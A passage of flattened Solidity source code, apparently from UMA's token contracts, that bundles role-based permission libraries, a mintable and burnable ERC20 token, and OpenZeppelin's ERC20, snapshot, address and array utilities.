* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
library Exclusive {
struct RoleMembership {
address member;
}
function isMember(RoleMembership storage roleMembership, address memberToCheck) internal view returns (bool) {
return roleMembership.member == memberToCheck;
}
function resetMember(RoleMembership storage roleMembership, address newMember) internal {
require(newMember != address(0x0), "Cannot set an exclusive role to 0x0");
roleMembership.member = newMember;
}
function getMember(RoleMembership storage roleMembership) internal view returns (address) {
return roleMembership.member;
}
function init(RoleMembership storage roleMembership, address initialMember) internal {
resetMember(roleMembership, initialMember);
}
}
library Shared {
struct RoleMembership {
mapping(address => bool) members;
}
function isMember(RoleMembership storage roleMembership, address memberToCheck) internal view returns (bool) {
return roleMembership.members[memberToCheck];
}
function addMember(RoleMembership storage roleMembership, address memberToAdd) internal {
require(memberToAdd != address(0x0), "Cannot add 0x0 to a shared role");
roleMembership.members[memberToAdd] = true;
}
function removeMember(RoleMembership storage roleMembership, address memberToRemove) internal {
roleMembership.members[memberToRemove] = false;
}
function init(RoleMembership storage roleMembership, address[] memory initialMembers) internal {
for (uint256 i = 0; i < initialMembers.length; i++) {
addMember(roleMembership, initialMembers[i]);
}
}
}
/**
* @title Base class to manage permissions for the derived class.
*/
abstract contract MultiRole {
using Exclusive for Exclusive.RoleMembership;
using Shared for Shared.RoleMembership;
enum RoleType { Invalid, Exclusive, Shared }
struct Role {
uint256 managingRole;
RoleType roleType;
Exclusive.RoleMembership exclusiveRoleMembership;
Shared.RoleMembership sharedRoleMembership;
}
mapping(uint256 => Role) private roles;
event ResetExclusiveMember(uint256 indexed roleId, address indexed newMember, address indexed manager);
event AddedSharedMember(uint256 indexed roleId, address indexed newMember, address indexed manager);
event RemovedSharedMember(uint256 indexed roleId, address indexed oldMember, address indexed manager);
/**
* @notice Reverts unless the caller is a member of the specified roleId.
*/
modifier onlyRoleHolder(uint256 roleId) {
require(holdsRole(roleId, msg.sender), "Sender does not hold required role");
_;
}
/**
* @notice Reverts unless the caller is a member of the manager role for the specified roleId.
*/
modifier onlyRoleManager(uint256 roleId) {
require(holdsRole(roles[roleId].managingRole, msg.sender), "Can only be called by a role manager");
_;
}
/**
* @notice Reverts unless the roleId represents an initialized, exclusive roleId.
*/
modifier onlyExclusive(uint256 roleId) {
require(roles[roleId].roleType == RoleType.Exclusive, "Must be called on an initialized Exclusive role");
_;
}
/**
* @notice Reverts unless the roleId represents an initialized, shared roleId.
*/
modifier onlyShared(uint256 roleId) {
require(roles[roleId].roleType == RoleType.Shared, "Must be called on an initialized Shared role");
_;
}
/**
* @notice Whether `memberToCheck` is a member of roleId.
* @dev Reverts if roleId does not correspond to an initialized role.
* @param roleId the Role to check.
* @param memberToCheck the address to check.
* @return True if `memberToCheck` is a member of `roleId`.
*/
function holdsRole(uint256 roleId, address memberToCheck) public view returns (bool) {
Role storage role = roles[roleId];
if (role.roleType == RoleType.Exclusive) {
return role.exclusiveRoleMembership.isMember(memberToCheck);
} else if (role.roleType == RoleType.Shared) {
return role.sharedRoleMembership.isMember(memberToCheck);
}
revert("Invalid roleId");
}
/**
* @notice Changes the exclusive role holder of `roleId` to `newMember`.
* @dev Reverts if the caller is not a member of the managing role for `roleId` or if `roleId` is not an
* initialized, ExclusiveRole.
* @param roleId the ExclusiveRole membership to modify.
* @param newMember the new ExclusiveRole member.
*/
function resetMember(uint256 roleId, address newMember) public onlyExclusive(roleId) onlyRoleManager(roleId) {
roles[roleId].exclusiveRoleMembership.resetMember(newMember);
emit ResetExclusiveMember(roleId, newMember, msg.sender);
}
/**
* @notice Gets the current holder of the exclusive role, `roleId`.
* @dev Reverts if `roleId` does not represent an initialized, exclusive role.
* @param roleId the ExclusiveRole membership to check.
* @return the address of the current ExclusiveRole member.
*/
function getMember(uint256 roleId) public view onlyExclusive(roleId) returns (address) {
return roles[roleId].exclusiveRoleMembership.getMember();
}
/**
* @notice Adds `newMember` to the shared role, `roleId`.
* @dev Reverts if `roleId` does not represent an initialized, SharedRole or if the caller is not a member of the
* managing role for `roleId`.
* @param roleId the SharedRole membership to modify.
* @param newMember the new SharedRole member.
*/
function addMember(uint256 roleId, address newMember) public onlyShared(roleId) onlyRoleManager(roleId) {
roles[roleId].sharedRoleMembership.addMember(newMember);
emit AddedSharedMember(roleId, newMember, msg.sender);
}
/**
* @notice Removes `memberToRemove` from the shared role, `roleId`.
* @dev Reverts if `roleId` does not represent an initialized, SharedRole or if the caller is not a member of the
* managing role for `roleId`.
* @param roleId the SharedRole membership to modify.
* @param memberToRemove the current SharedRole member to remove.
*/
function removeMember(uint256 roleId, address memberToRemove) public onlyShared(roleId) onlyRoleManager(roleId) {
roles[roleId].sharedRoleMembership.removeMember(memberToRemove);
emit RemovedSharedMember(roleId, memberToRemove, msg.sender);
}
/**
* @notice Removes caller from the role, `roleId`.
* @dev Reverts if the caller is not a member of the role for `roleId` or if `roleId` is not an
* initialized, SharedRole.
* @param roleId the SharedRole membership to modify.
*/
function renounceMembership(uint256 roleId) public onlyShared(roleId) onlyRoleHolder(roleId) {
roles[roleId].sharedRoleMembership.removeMember(msg.sender);
emit RemovedSharedMember(roleId, msg.sender, msg.sender);
}
/**
* @notice Reverts if `roleId` is not initialized.
*/
modifier onlyValidRole(uint256 roleId) {
require(roles[roleId].roleType != RoleType.Invalid, "Attempted to use an invalid roleId");
_;
}
/**
* @notice Reverts if `roleId` is initialized.
*/
modifier onlyInvalidRole(uint256 roleId) {
require(roles[roleId].roleType == RoleType.Invalid, "Cannot use a pre-existing role");
_;
}
/**
* @notice Internal method to initialize a shared role, `roleId`, which will be managed by `managingRoleId`.
* `initialMembers` will be immediately added to the role.
* @dev Should be called by derived contracts, usually at construction time. Will revert if the role is already
* initialized.
*/
function _createSharedRole(
uint256 roleId,
uint256 managingRoleId,
address[] memory initialMembers
) internal onlyInvalidRole(roleId) {
Role storage role = roles[roleId];
role.roleType = RoleType.Shared;
role.managingRole = managingRoleId;
role.sharedRoleMembership.init(initialMembers);
require(
roles[managingRoleId].roleType != RoleType.Invalid,
"Attempted to use an invalid role to manage a shared role"
);
}
/**
* @notice Internal method to initialize an exclusive role, `roleId`, which will be managed by `managingRoleId`.
* `initialMember` will be immediately added to the role.
* @dev Should be called by derived contracts, usually at construction time. Will revert if the role is already
* initialized.
*/
function _createExclusiveRole(
uint256 roleId,
uint256 managingRoleId,
address initialMember
) internal onlyInvalidRole(roleId) {
Role storage role = roles[roleId];
role.roleType = RoleType.Exclusive;
role.managingRole = managingRoleId;
role.exclusiveRoleMembership.init(initialMember);
require(
roles[managingRoleId].roleType != RoleType.Invalid,
"Attempted to use an invalid role to manage an exclusive role"
);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/**
* @title Interface for a registry of contracts and contract creators.
*/
interface RegistryInterface {
/**
* @notice Registers a new contract.
* @dev Only authorized contract creators can call this method.
* @param parties an array of addresses who become parties in the contract.
* @param contractAddress defines the address of the deployed contract.
*/
function registerContract(address[] calldata parties, address contractAddress) external;
/**
* @notice Returns whether the contract has been registered with the registry.
* @dev If it is registered, it is an authorized participant in the UMA system.
* @param contractAddress address of the contract.
* @return bool indicates whether the contract is registered.
*/
function isContractRegistered(address contractAddress) external view returns (bool);
/**
* @notice Returns a list of all contracts that are associated with a particular party.
* @param party address of the party.
* @return an array of the contracts the party is registered to.
*/
function getRegisteredContracts(address party) external view returns (address[] memory);
/**
* @notice Returns all registered contracts.
* @return all registered contract addresses within the system.
*/
function getAllRegisteredContracts() external view returns (address[] memory);
/**
* @notice Adds a party to the calling contract.
* @dev msg.sender must be the contract to which the party member is added.
* @param party address to be added to the contract.
*/
function addPartyToContract(address party) external;
/**
* @notice Removes a party member to the calling contract.
* @dev msg.sender must be the contract to which the party member is added.
* @param party address to be removed from the contract.
*/
function removePartyFromContract(address party) external;
/**
* @notice checks if an address is a party in a contract.
* @param party party to check.
* @param contractAddress address to check against the party.
* @return bool indicating if the address is a party of the contract.
*/
function isPartyMemberOfContract(address party, address contractAddress) external view returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./MultiRole.sol";
import "../interfaces/ExpandedIERC20.sol";
/**
* @title An ERC20 with permissioned burning and minting. The contract deployer will initially
* be the owner who is capable of adding new roles.
*/
contract ExpandedERC20 is ExpandedIERC20, ERC20, MultiRole {
enum Roles {
// Can set the minter and burner.
Owner,
// Addresses that can mint new tokens.
Minter,
// Addresses that can burn tokens that address owns.
Burner
}
/**
* @notice Constructs the ExpandedERC20.
* @param _tokenName The name which describes the new token.
* @param _tokenSymbol The ticker abbreviation of the name. Ideally < 5 chars.
* @param _tokenDecimals The number of decimals to define token precision.
*/
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint8 _tokenDecimals
) public ERC20(_tokenName, _tokenSymbol) {
_setupDecimals(_tokenDecimals);
_createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender);
_createSharedRole(uint256(Roles.Minter), uint256(Roles.Owner), new address[](0));
_createSharedRole(uint256(Roles.Burner), uint256(Roles.Owner), new address[](0));
}
/**
* @dev Mints `value` tokens to `recipient`, returning true on success.
* @param recipient address to mint to.
* @param value amount of tokens to mint.
* @return True if the mint succeeded, or False.
*/
function mint(address recipient, uint256 value)
external
override
onlyRoleHolder(uint256(Roles.Minter))
returns (bool)
{
_mint(recipient, value);
return true;
}
/**
* @dev Burns `value` tokens owned by `msg.sender`.
* @param value amount of tokens to burn.
*/
function burn(uint256 value) external override onlyRoleHolder(uint256(Roles.Burner)) {
_burn(msg.sender, value);
}
/**
* @notice Add Minter role to account.
* @dev The caller must have the Owner role.
* @param account The address to which the Minter role is added.
*/
function addMinter(address account) external virtual override {
addMember(uint256(Roles.Minter), account);
}
/**
* @notice Add Burner role to account.
* @dev The caller must have the Owner role.
* @param account The address to which the Burner role is added.
*/
function addBurner(address account) external virtual override {
addMember(uint256(Roles.Burner), account);
}
/**
* @notice Reset Owner role to account.
* @dev The caller must have the Owner role.
* @param account The new holder of the Owner role.
*/
function resetOwner(address account) external virtual override {
resetMember(uint256(Roles.Owner), account);
}
}
pragma solidity ^0.6.0;
import "../../math/SafeMath.sol";
import "../../utils/Arrays.sol";
import "../../utils/Counters.sol";
import "./ERC20.sol";
/**
* @dev This contract extends an ERC20 token with a snapshot mechanism. When a snapshot is created, the balances and
* total supply at the time are recorded for later access.
*
* This can be used to safely create mechanisms based on token balances such as trustless dividends or weighted voting.
* In naive implementations it's possible to perform a "double spend" attack by reusing the same balance from different
* accounts. By using snapshots to calculate dividends or voting power, those attacks no longer apply. It can also be
* used to create an efficient ERC20 forking mechanism.
*
* Snapshots are created by the internal {_snapshot} function, which will emit the {Snapshot} event and return a
* snapshot id. To get the total supply at the time of a snapshot, call the function {totalSupplyAt} with the snapshot
* id. To get the balance of an account at the time of a snapshot, call the {balanceOfAt} function with the snapshot id
* and the account address.
*
* ==== Gas Costs
*
* Snapshots are efficient. Snapshot creation is _O(1)_. Retrieval of balances or total supply from a snapshot is _O(log
* n)_ in the number of snapshots that have been created, although _n_ for a specific account will generally be much
* smaller since identical balances in subsequent snapshots are stored as a single entry.
*
* There is a constant overhead for normal ERC20 transfers due to the additional snapshot bookkeeping. This overhead is
* only significant for the first transfer that immediately follows a snapshot for a particular account. Subsequent
* transfers will have normal cost until the next snapshot, and so on.
*/
abstract contract ERC20Snapshot is ERC20 {
// Inspired by Jordi Baylina's MiniMeToken to record historical balances:
// https://github.com/Giveth/minimd/blob/ea04d950eea153a04c51fa510b068b9dded390cb/contracts/MiniMeToken.sol
using SafeMath for uint256;
using Arrays for uint256[];
using Counters for Counters.Counter;
// Snapshotted values have arrays of ids and the value corresponding to that id. These could be an array of a
// Snapshot struct, but that would impede usage of functions that work on an array.
struct Snapshots {
uint256[] ids;
uint256[] values;
}
mapping (address => Snapshots) private _accountBalanceSnapshots;
Snapshots private _totalSupplySnapshots;
// Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid.
Counters.Counter private _currentSnapshotId;
/**
* @dev Emitted by {_snapshot} when a snapshot identified by `id` is created.
*/
event Snapshot(uint256 id);
/**
* @dev Creates a new snapshot and returns its snapshot id.
*
* Emits a {Snapshot} event that contains the same id.
*
* {_snapshot} is `internal` and you have to decide how to expose it externally. Its usage may be restricted to a
* set of accounts, for example using {AccessControl}, or it may be open to the public.
*
* [WARNING]
* ====
* While an open way of calling {_snapshot} is required for certain trust minimization mechanisms such as forking,
* you must consider that it can potentially be used by attackers in two ways.
*
* First, it can be used to increase the cost of retrieval of values from snapshots, although it will grow
* logarithmically thus rendering this attack ineffective in the long term. Second, it can be used to target
* specific accounts and increase the cost of ERC20 transfers for them, in the ways specified in the Gas Costs
* section above.
*
* We haven't measured the actual numbers; if this is something you're interested in please reach out to us.
* ====
*/
function _snapshot() internal virtual returns (uint256) {
_currentSnapshotId.increment();
uint256 currentId = _currentSnapshotId.current();
emit Snapshot(currentId);
return currentId;
}
/**
* @dev Retrieves the balance of `account` at the time `snapshotId` was created.
*/
function balanceOfAt(address account, uint256 snapshotId) public view returns (uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]);
return snapshotted ? value : balanceOf(account);
}
/**
* @dev Retrieves the total supply at the time `snapshotId` was created.
*/
function totalSupplyAt(uint256 snapshotId) public view returns(uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnapshots);
return snapshotted ? value : totalSupply();
}
// _transfer, _mint and _burn are the only functions where the balances are modified, so it is there that the
// snapshots are updated. Note that the update happens _before_ the balance change, with the pre-modified value.
// The same is true for the total supply and _mint and _burn.
function _transfer(address from, address to, uint256 value) internal virtual override {
_updateAccountSnapshot(from);
_updateAccountSnapshot(to);
super._transfer(from, to, value);
}
function _mint(address account, uint256 value) internal virtual override {
_updateAccountSnapshot(account);
_updateTotalSupplySnapshot();
super._mint(account, value);
}
function _burn(address account, uint256 value) internal virtual override {
_updateAccountSnapshot(account);
_updateTotalSupplySnapshot();
super._burn(account, value);
}
function _valueAt(uint256 snapshotId, Snapshots storage snapshots)
private view returns (bool, uint256)
{
require(snapshotId > 0, "ERC20Snapshot: id is 0");
// solhint-disable-next-line max-line-length
require(snapshotId <= _currentSnapshotId.current(), "ERC20Snapshot: nonexistent id");
// When a valid snapshot is queried, there are three possibilities:
// a) The queried value was not modified after the snapshot was taken. Therefore, a snapshot entry was never
// created for this id, and all stored snapshot ids are smaller than the requested one. The value that corresponds
// to this id is the current one.
// b) The queried value was modified after the snapshot was taken. Therefore, there will be an entry with the
// requested id, and its value is the one to return.
// c) More snapshots were created after the requested one, and the queried value was later modified. There will be
// no entry for the requested id: the value that corresponds to it is that of the smallest snapshot id that is
// larger than the requested one.
//
// In summary, we need to find an element in an array, returning the index of the smallest value that is larger if
// it is not found, unless said value doesn't exist (e.g. when all values are smaller). Arrays.findUpperBound does
// exactly this.
uint256 index = snapshots.ids.findUpperBound(snapshotId);
if (index == snapshots.ids.length) {
return (false, 0);
} else {
return (true, snapshots.values[index]);
}
}
function _updateAccountSnapshot(address account) private {
_updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account));
}
function _updateTotalSupplySnapshot() private {
_updateSnapshot(_totalSupplySnapshots, totalSupply());
}
function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private {
uint256 currentId = _currentSnapshotId.current();
if (_lastSnapshotId(snapshots.ids) < currentId) {
snapshots.ids.push(currentId);
snapshots.values.push(currentValue);
}
}
function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) {
if (ids.length == 0) {
return 0;
} else {
return ids[ids.length - 1];
}
}
}
pragma solidity ^0.6.0;
import "../../GSN/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20MinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title ERC20 interface that includes burn and mint methods.
*/
abstract contract ExpandedIERC20 is IERC20 {
/**
* @notice Burns a specific amount of the caller's tokens.
* @dev Only burns the caller's tokens, so it is safe to leave this method permissionless.
*/
function burn(uint256 value) external virtual;
/**
* @notice Mints tokens and adds them to the balance of the `to` address.
* @dev This method should be permissioned to only allow designated parties to mint tokens.
*/
function mint(address to, uint256 value) external virtual returns (bool);
function addMinter(address account) external virtual;
function addBurner(address account) external virtual;
function resetOwner(address account) external virtual;
}
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
pragma solidity ^0.6.0;
import "../math/Math.sol";
/**
* @dev Collection of functions related to array types.
*/
library Arrays {
/**
* @dev Searches a sorted `array` and returns the first index that contains
* a value greater or equal to `element`. If no such index exists (i.e. all
* values in the array are strictly less than `element`), the array length is
* returned. Time complexity O(log n).
*
* `array` is expected to be sorted in ascending order, and to contain no
* repeated elements.
*/
function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) {
if (array.length == 0) {
return 0;
}
uint256 low = 0;
uint256 high = array.length;
while (low < high) {
uint256 mid = Math.average(low, high);
// Note that mid will always be strictly less than high (i.e. it will be a valid array index)
// because Math.average rounds down (it does integer division with truncation).
if (array[mid] > element) {
high = mid;
} else {
low = mid + 1;
}
}
// At this point `low` is the exclusive upper bound. We will return the inclusive upper bound.
if (low > 0 && array[low - 1] == element) {
return low - 1;
} else {
return low;
}
}
}
pragma solidity ^0.6.0;
import "../math/SafeMath.sol";
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath}
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using SafeMath for uint256;
struct Counter {
